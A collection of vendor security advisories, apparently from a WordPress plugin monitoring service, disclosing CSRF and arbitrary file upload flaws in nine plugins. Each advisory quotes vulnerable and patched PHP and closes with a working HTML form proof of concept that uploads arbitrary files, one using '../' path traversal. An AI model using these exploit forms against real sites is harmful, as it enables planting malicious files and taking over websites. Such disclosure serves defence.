12 Feb

Our Proactive Monitoring Caught a Cross-site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Flexible Captcha

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the cross-site request forgery (CSRF)/arbitrary file upload vulnerability we found in the plugin Flexible Captcha. This vulnerability could have allowed an attacker that could get a logged in Administrator to visit a URL the attacker controls, to upload a malicious file to the website, which the hacker could then use to take additional actions on their own with the website.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability involves the function handle_font_upload(), located in the file /lib/FlexibleCaptcha.class.php, which previously would save any type of file sent with a request to the directory /wp-content/uploads/fc-fonts/:

function handle_font_upload() {
	if (!file_exists($this->;fontDirectory . $_FILES['FC_font_upload']['name']) &&; move_uploaded_file( $_FILES['FC_font_upload']['tmp_name'], $this->fontDirectory . $_FILES['FC_font_upload']['name'] )) {

Since it is only intended to handle font uploads there should have been a limit on what types of files could be uploaded.

The threat of that would largely depend on who could access that. That function is called in the function settings_page() if a POST input “submit_font_file” exists:

function settings_page() {
	if (array_key_exists('submit_font_file', $_POST)) {

That function in turn is called when accessing the plugin’s settings page in the admin area of WordPress:

$plugin_page=add_submenu_page('options-general.php', 'Flexible Captcha Settings', 'Flexible Captcha', 'activate_plugins', 'Flexible_Captcha', array($this, 'settings_page'));

That page is only accessible by those logged in to WordPress that have the “activate_plugins” capability, which would normally be Administrators. Administrators normally have the ability to upload any type of file they want, so there being able to do that through this plugin isn’t a vulnerability on its own. The vulnerability here comes from a lack of a check for a valid nonce when processing the upload, which means an attacker could cause an Administrator to send a request to upload a file without them intending it.

Several hours after we contacted the developer they released version 3.4, which fixes this by adding a nonce check and doing a couple of checks on what type of file is being uploaded:

function handle_font_upload() {
	if (wp_verify_nonce(sanitize_text_field($_POST['FC_nonce']), plugin_basename(__FILE__))) {
		$fontMime = array('application/x-font-ttf', 'application/vnd.ms-opentype');
		if (preg_match("/(.otf|.ttf)$/", $_FILES['FC_font_upload']['name']) && in_array(mime_content_type($_FILES['FC_font_upload']['tmp_name']), $fontMime) && !file_exists($this->fontDirectory . $_FILES['FC_font_upload']['name']) && move_uploaded_file( $_FILES['FC_font_upload']['tmp_name'], $this->fontDirectory . $_FILES['FC_font_upload']['name'] )) {

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/fc-fonts/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/options-general.php?page=Flexible_Captcha" method="POST" enctype="multipart/form-data">
<input type="file" name="FC_font_upload" />
<input type="submit" name="submit_font_file" value="Submit" />


  • February 9, 2018 – Developer notified.
  • February 9, 2018 – Version 3.4 released, which fixes vulnerability.
  • February 9, 2018 – Developer responds.
25 Aug

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Participants Database

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are arbitrary file upload vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across a cross-site request forgery(CSRF)/arbitrary file upload vulnerability in the plugin Participants Database.

The plugin’s “Import CSV File” admin page, which is accessible to Administrators, is generated by the file /upload_csv.php. At the beginning of the file it checks that file is not being loaded directly and that the person accessing it has the proper permission to access it. It then creates a new instance of the class PDb_CSV_Import:

if ( !defined( 'ABSPATH' ) )
if ( !Participants_Db::current_user_has_plugin_role( 'admin', 'upload csv' ) )
$CSV_import = new PDb_CSV_Import( 'csv_file_upload' );

As defined in the file /classes/PDb_CSV_Import.class.php that class extends the class  xnau_CSV_Import:

class PDb_CSV_Import extends xnau_CSV_Import {

The final line of the PDb_CSV_Import class’ __construct() function runs the  __construct() function of its parent class (xnau_CSV_Import):

parent::__construct( $file_field_name );

The __construct() function of xnau_CSV_Import, located in the file /classes/xnau_CSV_Import.class.php, would save the file sent along with the request without checking for a valid nonce, which permits CSRF, and without checking what type of files is being uploaded:

  function __construct($file_field) {
    if (isset($_POST[$file_field])) {
      if ($this->_set_upload_dir()) {
        $target_path = $this->root_path . $this->upload_directory . basename($_FILES['uploadedfile']['name']);
        if (false !== move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

After we notified the developer of plugin of the vulnerability they fixed it in version by adding a new function that checks for a valid nonce and does a couple of checks on the file to be uploaded (the extension check through pathinfo() being the one with a security impact):

protected function check_submission()
  $nonce = filter_input(INPUT_POST, '_wpnonce', FILTER_SANITIZE_STRING );
  if ( ! wp_verify_nonce( $nonce, self::nonce ) ) {
    return false;
  $filename = filter_var( $_FILES['uploadedfile']['name'], FILTER_SANITIZE_STRING );
  $mimetype = filter_var( $_FILES['uploadedfile']['type'], FILTER_SANITIZE_STRING );
  $check =  pathinfo( $filename, PATHINFO_EXTENSION ) === 'csv' && $mimetype === 'text/csv';
  if ( $check ) {
    return true;
  $this->set_error_heading( __('Invalid file for import.', 'participants-database') );
  return false;

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/participants-database/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin.php?page=participants-database-upload_csv" method="POST" enctype="multipart/form-data">
<input type="hidden" name="csv_file_upload" value="true" />
<input type="file" name="uploadedfile" />
<input type="submit" value="Submit" />


  • August 4, 2017 – Developer notified.
  • August 4, 2017 – Developer responds.
  • August 5, 2017 – Version released, which fixes vulnerability.
26 Jun

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Newsletters

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. Seeing as arbitrary file upload vulnerabilities are at the top in terms of exploits that seems like one area where it might make sense to focus on, while looking over just several days worth of plugin changes we ran across a related, though much less concerning vulnerability. That being a cross-site request forgery (CSRF)/arbitrary file upload vulnerability in the plugin Newsletters, which would be unlikely to be targeted on a wide scale, but might be used in a targeted attack.

The vulnerability is caused by two security failures.

First, when saving the plugin’s settings the plugin doesn’t check to make sure that valid nonce is included with the request. That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings. The form that is submitted actually contains a nonce, so the developer seems to be aware of CSRF, but hasn’t properly implemented the protection.

Second, one of the settings that gets saved is a “Tracking Image/Logo”. While that name would indicate that some sort of image should be uploaded the code, shown below, has no restriction on what can be uploaded (/wp-mailinglist.php):

if (!empty($_FILES)) {
	foreach ($_FILES as $fkey => $fval) {
		switch ($fkey) {
			case 'tracking_image_file'			:
				$tracking_image_file = $this -> get_option('tracking_image_file');
				if (!empty($_POST['tracking']) && $_POST['tracking'] == "Y" && !empty($_POST['tracking_image']) && $_POST['tracking_image'] == "custom") {
					if (!empty($_FILES['tracking_image_file']['name'])) {
						$tracking_image_file = $_FILES['tracking_image_file']['name'];
						$tracking_image_path = $Html -> uploads_path() . DS . $this -> plugin_name . DS;
						$tracking_image_full = $tracking_image_path . $tracking_image_file;
						if (move_uploaded_file($_FILES['tracking_image_file']['tmp_name'], $tracking_image_full)) {
							$this -> update_option('tracking_image_file', $tracking_image_file);
						} else {
							$this -> render_error(__('Tracking image file could not be moved from /tmp', 'wp-mailinglist'));
					} else {
						if (empty($tracking_image_file)) {
							$this -> render_error(__('No image was specified', 'wp-mailinglist'));

By default the setting’s page is only accessible to Administrators, but the plugin provides the option of making the settings page available to lower level users as well, so in those cases lower level users also could exploit the arbitrary file upload portion of this without CSRF coming in to play.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/newsletters-lite/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin.php?page=newsletters-settings" method="POST" enctype="multipart/form-data">
<input type="hidden" name="tracking" value="Y" />
<input type="hidden" name="tracking_image" value="custom" />
<input type="file" name="tracking_image_file" />
<input type="submit" value="Submit" />


  • June 19, 2017 – Developer notified.
  • December 18, 2017 – Version 4.6.7 released, which fixes cross-site request forgery (CSRF) issue.
21 Apr

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in TheCartPress

In February we saw what looked like it might be a hacker probing for usage of the plugin TheCartPress. While we already had a vulnerability in our data that could have been what a hacker might be targeting, we started looking for any other vulnerabilities in the current version that might be of interest of a hacker. While doing that we found a cross-site request forgery (CSRF)/arbitrary file upload vulnerability, which could allow an attacker to cause a logged in Administrator to upload a file to the website. The file is placed in a directory that is restricted from access through a .htaccess file, so the file would only be accessible on servers that don’t use those file (several of which are supported for use with WordPress) or using a local file inclusion (LFI) vulnerability. The combination of the type of vulnerability and that restriction make it unlikely that this vulnerability would be exploited.

The vulnerability in exists in the file /admin/UploadFiles.php, which is made accessible to Administrators through the following line in the /TheCartPress.class.php:

add_submenu_page( 'tcp' , __( 'Upload files', 'tcp' ), __( 'Upload files', 'tcp' ), 'tcp_edit_product', TCP_ADMIN_FOLDER . 'UploadFiles.php' );

In the file /admin/UploadFiles.php the upload is handled through the function tcp_upload_file(), which does not have protection against CSRF before the file is saved to the filesystem using move_uploaded_file():

function tcp_upload_file( $post_id, $file ) {
	global $thecartpress;
	global $error_upload;
	$rev_name = strrev( $_FILES['upload_file']['name'] );
	$i = strpos( $rev_name, '.' );
	$ext = strrev( substr( $rev_name, 0, $i ) );
	$downloadable_path = isset( $thecartpress->settings['downloadable_path'] ) ? trim( $thecartpress->settings['downloadable_path'] ) : '';
	if ( strlen( $downloadable_path ) == 0 ) {
		wp_die( __( 'The path where the downloadable files must be saved is not set.', 'tcp' ) );
		return false;
	} else {
		global $wpdb;
		//$folder_path = $downloadable_path . '/' . $wpdb->prefix . 'tcp';
		$folder_path = $downloadable_path . '/tcp';
		if ( ! file_exists( $folder_path ) )
			if ( ! wp_mkdir_p( $folder_path ) ) {
				$error_upload = sprintf( __( 'Error creating the folder "%s".', 'tcp' ), $folder_path );
				return false;
		$file_path = $folder_path . '/upload_' . $post_id . '.' . $ext;
		tcp_set_the_file( $post_id, $file_path );
		if ( move_uploaded_file( $_FILES['upload_file']['tmp_name'], $file_path ) ) {

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/thecartpress/uploads/tcp/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[ID of Product Post]” with the ID of a post for an existing product (which is listed in numerous places in the source code of product’s page).

<form action="http://[path to WordPress]/wp-admin/admin.php?page=thecartpress%2Fadmin%2FUploadFiles.php&post_id=14" method="POST" enctype="multipart/form-data">
<input type="hidden" name="post_id" value="[ID of product post]" >
<input type="hidden" name="tcp_upload_virtual_file" value="Upload file">
<input type="file" name="upload_file" />
<input type="submit" value="Submit" />


  • February 6, 2017 – Developer notified.
13 Mar

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Really Simple Gallery

While looking in to a report of a reflected cross-site scripting vulnerability in the plugin Really Simple Gallery we noticed that there is also cross-site request forgery (CSRF)/arbitrary file upload vulnerability in it.

When uploading a file through the plugin’s settings page there is no check for a valid nonce to protect against CSRF, as seen in the file /reallysimplegallery.php starting on line 90:

 $target_path = get_option("simple_gallery_uploads");
 $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 
 echo '<div id="setting-error-settings_updated" class="updated settings-error"><p><strong>';

 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

While the file being uploaded is supposed to be an image, there is no restriction on what type of file can be uploaded.

We couldn’t find a contact for the developer, so we are notifying the WordPress.org Plugin Directory of the issue.

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/really-simple-gallery/uploads/ on the website, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/options-general.php?page=my-unique-identifier" method="POST" enctype="multipart/form-data">
<input type="file" name="uploadedfile" />
<input type="submit" name="addImage" value="Submit" />


  • 3/13/2017 – WordPress.org Plugin Directory notified.
  • 3/13/2017 – Removed from WordPress.org Plugin Directory.
14 Sep

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in CYSTEME Finder

Certain types of plugins are inherently more of a security concern because their intended functionality involves actions that hackers frequently attempt to exploit, so if something is wrong with their security it is likely the plugin will be exploited. That doesn’t mean that people developing them are going to be very careful in coding them or that the public using them is going to do any checking, as can be seen with the plugin CYSTEME Finder. The plugin, which has 7,000+ active installs according to wordpress.org, provides a file manger in WordPress, which allows uploading files and viewing the content of files. We see vulnerabilities in those two types of functionality frequently targeted by hackers, with vulnerabilities in upload functionality much more likely to successfully exploited and leading to a website being hacked.

Recently someone under the handle T0w3ntum looked at the plugin and found that it contained arbitrary file upload and arbitrary file viewing vulnerabilities, as of version 1.3. The vulnerabilities existed due to the plugin not making properly restricting access to the upload and file viewing functionality. In looking over the changes made to fix those in version 1.4, we were troubled by the odd choice of security code and found an additional vulnerability. In the changelog entry for 1.4 sates that the was a security fix involving “use of PHP session rather than REQUEST vars”. That didn’t sound like the type of change we would expect to fix this type of vulnerability in a WordPress plugin. Looking at the changes made it didn’t change our view. Instead of checking that requests to the plugin are made by someone who should be able to, by using WordPress functions, they are checking a PHP session. While it looks to have fix the vulnerabilities, not using the WordPress functionality specifically designed for this, would make of us wary of using such a plugin.

In looking over that we noticed that there they were missing protection against cross-site request forgery (CSRF). So if you could get a logged in administrator to access a page you control you could cause them to upload an arbitrary file.

Requests to upload a file are handle through the file /php/connector.php. That file doesn’t perform any nonce checks before sending the request to the function run() in the file /php/elFinderConnector.class.php. From there the request is sent to the function upload() in the file  /php/elFinder.class.php, which doesn’t check for a valid nonce before saving the uploaded file to the filesystem.

We notified the developer a week ago but have not heard back from them and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to root directory on the website, when logged in as an Administrator. Before that the page /wp-admin/options-general.php?page=cysteme_finder needs to be visited to create a new PHP session.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/&wpurl=http://example.com" method="POST" enctype="multipart/form-data">
<input type="hidden" name="cmd" value="upload">
<input type="hidden" name="target" value="l1_Lw">
<input type="file" name="upload[]">
<input type="submit" value="Submit" />


  • 9/7/2016 – Developer notified.
  • 9/14/2016 – WordPress.org Plugin Directory notified.
  • 9/15/2016 – Removed from WordPress.org Plugin Directory.
  • 10/3/2016 – Version of 1.5 that resolves issue submitted to Plugin Directory repository.
21 Jun

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Remote Upload

For our data set of vulnerabilities we don’t just add any claimed vulnerability, instead we test out each vulnerability before adding it. That requires a lot more time, but it produces much better data for our customers as we find that many vulnerability reports are false, others have incorrect information (including claims that a vulnerability has been fixed when it hasn’t), and we can tell them which versions are vulnerable.

In some cases we find that vulnerability report is false but actually point to real related issue. One such case we just ran into involved a claim that the plugin Remote Upload had an arbitrary file upload vulnerability in version 1.2.1 and below. The problem with this report is that file upload capability of the plugin is limited to Administrator level users and it isn’t really a vulnerability for them to upload arbitrary files based on the capabilities they are granted.

The plugin is described as allowing the upload of  “zip, rar, flv, mp3, mp4, png, gif, jpeg, and pdf files”, so it could have been a bug to not restrict what type of uploads are allowed.

Based on that, that wouldn’t be something we would include in our data. But we thought we should check over the plugin to make sure that there wasn’t something in the code that could have been combined with that to turn this into to a vulnerability.

The plugin handles uploads through the function remote_upload_json(). That functions check to make sure that only Administrator level users are able to access it by checking if the user accessing it has the activate_plugins capability.

if ( !current_user_can( 'activate_plugins' ) )  {
	wp_die( __( 'You do not have sufficient permissions to access this page.' ) );

So that would prevent anyone not logged in or logged in as a lower level user from accessing it.

That still leaves the possibility of cross-site request forgery (CSRF) though and that is were we found a vulnerability.

In the first section of code in that function a valid nonce is checked for before running going forward:

if(isset($_POST['file_urls']) && ($_POST['file_urls'] != null)){
 $nonce = $_REQUEST['_wpnonce'];
 if ( wp_verify_nonce( $nonce, 'remote-upload-nonce')):

The second section of code, which handles that the upload does not:

if(isset($_GET['post_file']) && ($_GET['post_file'] == 'true')){
		function is_session_started_for_upload(){

That means that through cross-site request forgery (CSRF) an attacker could cause an admin to upload files to the website. Before the changes in version 1.2.2, arbitrary files could have been uploaded, so fixing that bug for file restriction made the severity of the cross-site request forgery (CSRF) portion of the much lower.

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to standard upload directory on the website, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[file location]” with the location of the file you wish to upload.

<form action="http://[path to WordPress]/wp-admin/options-general.php?page=remote-upload&post_file=true" method="POST">
<input type="hidden" name="file_urls" value="[file location]" />
<input type="submit" value="Submit" />
31 May

Authenticated Arbitrary File Upload Vulnerability in Magic Fields

In our previous post about an old arbitrary file upload vulnerability in Magic Fields, we mentioned from reviewing that, that we then noticed that another vulnerability existed.

To recap, in version 1.5.6 of Magic Fields code was added to the file/RCCWP_upload_ajax.php that checked if you were logged in and able at least edit posts, which is capability available to Contributor level users and above, before allowing arbitrary files to be uploaded through the file:

if (!(is_user_logged_in() &amp;&amp;
      (current_user_can('edit_posts') || current_user_can('edit_published_pages'))))
	die(__("Authentication failed!",$mf_domain));

Contributor level users should not be able to upload arbitrary files, so that would mean that while unauthenticated users could no longer upload arbitrary files, there was still an authenticated arbitrary files vulnerability. There is also no protection against cross-site request forgery (CSRF) made with that change.

In the next version, 1.5.7,  a check for a nonce was added, which removed the CSRF vulnerability.

if (! wp_verify_nonce($nonce, 'once_ajax_uplooad') ){
  $result = array('error' =&gt; 'Sorry, your nonce did not verify.');
  echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);

At this point whether there is still a vulnerability would depend on how one can gain access to the nonce being used. The nonce is generated in the file /RCCWP_WritePostPage.php:

        var nonce_ajax_upload = "<!--?php echo wp_create_nonce('once_ajax_uplooad') ?-->";

That leads to it being included on any write panel generated from the plugin. So as long as a Contributor or higher level user is able access a write panel they can upload arbitrary files.

Lack of Proper File Validation

While being access the file upload capability when you are not intended to able to do that is a concern. The larger issue here is that there are not restrictions on what types of files are uploaded.

When we started looking into this vulnerability we ran across a support forum thread from someone asking about adding another file extension to the allowed extensions for file uploads. The response from the developer is something that would raise the eyes of most anyone who knows much about web security:

Hi, yes, i will add this extension in the next update. you can add for the moment in this file /js/group.js line 527

Since JavaScript files are usually are only used on the client side, this suggests that the file validation is only being done on the client side and that the user doing the upload has control over what files can be uploaded. That turned out to be the case.

The allowed extensions are defined in /js/group.js on line 527 in version of the plugin:

          var allowedExtensions = ["pdf", "doc", "xls", "ppt", "txt", "jpeg", "psd", "jpg", "gif", "png", "docx", "pptx", "xslx", "pps", "zip", "gz", "gzip", "mp3", "aac", "mp4", "wav", "wma", "aif", "aiff", "ogg", "flv", "f4v", "mov", "avi", "mkv", "xvid", "divx","gpx"];

The validation of the file is then done in the file /js/valumsfileuploader.js with the function _validateFile():

 _validateFile: function(file){
 var name, size;
 if (file.value){
 // it is a file input 
 // get input value and remove path to normalize
 name = file.value.replace(/.*(\/|\\)/, "");
 } else {
 // fix missing properties in Safari
 name = file.fileName != null ? file.fileName : file.name;
 size = file.fileSize != null ? file.fileSize : file.size;
 if ( this._isAllowedExtension(name)){ 
 this._error('typeError', name);
 return false;
 } else if (size === 0){ 
 this._error('emptyError', name);
 return false;
 } else if (size &amp;&amp; this._options.sizeLimit &amp;&amp; size &gt; this._options.sizeLimit){ 
 this._error('sizeError', name);
 return false;
 } else if (size &amp;&amp; size &lt; this._options.minSizeLimit){
 this._error('minSizeError', name);
 return false; 
 return true; 

That in turns call the function _isAllowedExtension() in the same file:

 _isAllowedExtension: function(fileName){
 var ext = (-1 !== fileName.indexOf('.')) ? fileName.replace(/.*[.]/, '').toLowerCase() : '';
 var allowed = this._options.allowedExtensions;
 if (!allowed.length){return true;} 
 for (var i=0; i&lt;allowed.length; i++){
 if (allowed[i].toLowerCase() == ext){ return true;} 
 return false;

Since that is all running on the client side it can be disabled by a malicious user and therefore they can upload malicious files.

What then was surprising to find out is that there is actually the code needed to validate the file and restrict the allowed extensions on the server side. On the server side the file is uploaded through the file /RCCWP_upload_ajax.php and that has a line to define allowed extensions, but it is empty:

// list of valid extensions, ex. array("jpeg", "xml", "bmp")
$allowedExtensions = array();

Proof of Concept

Logged in as user that has access to a Magic Fields write panel, view the source code of a write panel page and find the line that begins “var nonce_ajax_upload”. Replace “[nonce value]” in the proof of concept with the value of “nonce_ajax_upload” on that line.

Also, make sure to replace “[path to WordPress]” with the location of WordPress:

<form action="http://[path to WordPress]/wp-content/plugins/magic-fields/RCCWP_upload_ajax.php?nonce_ajax=[nonce value]" method="post" enctype="multipart/form-data">
<input name="qqfile" type="file" />
<input type="submit" value="Submit" />


  • 5/20/2016 – Notified developer.
  • 5/31/2016 – Notified wordpress.org Plugin Directory.
  • 6/1/2016 – Version 1.7 released (not available on Plugin Directory), which fixes vulnerability.
12 May

Authenticated Arbitrary File Upload Vulnerability in WP Editor

To stay on top of vulnerabilities in WordPress plugin for you, we monitor a number of different sources. One of them is hacking attempts on our websites, which mostly identifies fairly old vulnerabilities that we haven’t yet included in our data. In the case of a one vulnerability from back in 2012 we discovered that the vulnerability had never been fixed and was still in the Plugin Directory. Yesterday that monitoring lead us to seeing evidence that the WP Editor plugin is being exploited and finding a couple of serious vulnerabilities that could be what they are exploiting.

We have started seeing requests for the file /wp-content/plugins/wp-editor/js/wpeditor.js, which based on the files being requested alongside it, looks like the request are to check to see if the plugin is in use and if so then the hacker would likely try to exploit it. Since we don’t have the plugin installed the exploitation attempt didn’t happen, so we don’t know what they are trying to exploit. So then after looking for any public reports of vulnerabilities in the plugin we starting to reviewing the plugin and quickly found a couple of serious security vulnerabilities in the current version of the plugin

The first vulnerability is that any logged in user can upload arbitrary files to the website since there is no check as to the user capabilities when doing that. There is also no protection against cross-site request forgery (CSRF), so it is also susceptible to that.

We notified the Plugin Directory shortly before 5PM MDT yesterday about the appearance hacking attempts and the vulnerabilities we had found. Despite the serious nature, as now we haven’t received any response from them and the plugin is still available in the Plugin Directory, which indicates that they have not processed our message because once that is done they will usually remove the plugin pending a fix.

The plugin hasn’t been updated in 8 months, so it isn’t clear if it still being supported by the developer anymore, but we are in the process of trying to notifying them.

In the meantime we have added the vulnerabilities to our service’s data, so customers will start getting notified when the next check runs. We have also added it to the data in our companion Plugin Vulnerabilities plugin, so even you are not using our service yet you can get alerted to vulnerability.

Proof of Concept

The following proof of concept will upload the chosen file to the root directory of the WordPress installation, when logged in as a subscriber level or higher user.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload_files" />
<input type="hidden" name="current_plugin_root" value="../" />
<input type="hidden" name="directory" value="" />
<input type="file" name="file-0" />
<input type="submit" value="Submit" />


5/11/2016- WordPress.org Plugin Directory notified.
5/12/2016 – Developer notified.
5/13/2016 – Version 1.2.6 released, which fixes vulnerabilities.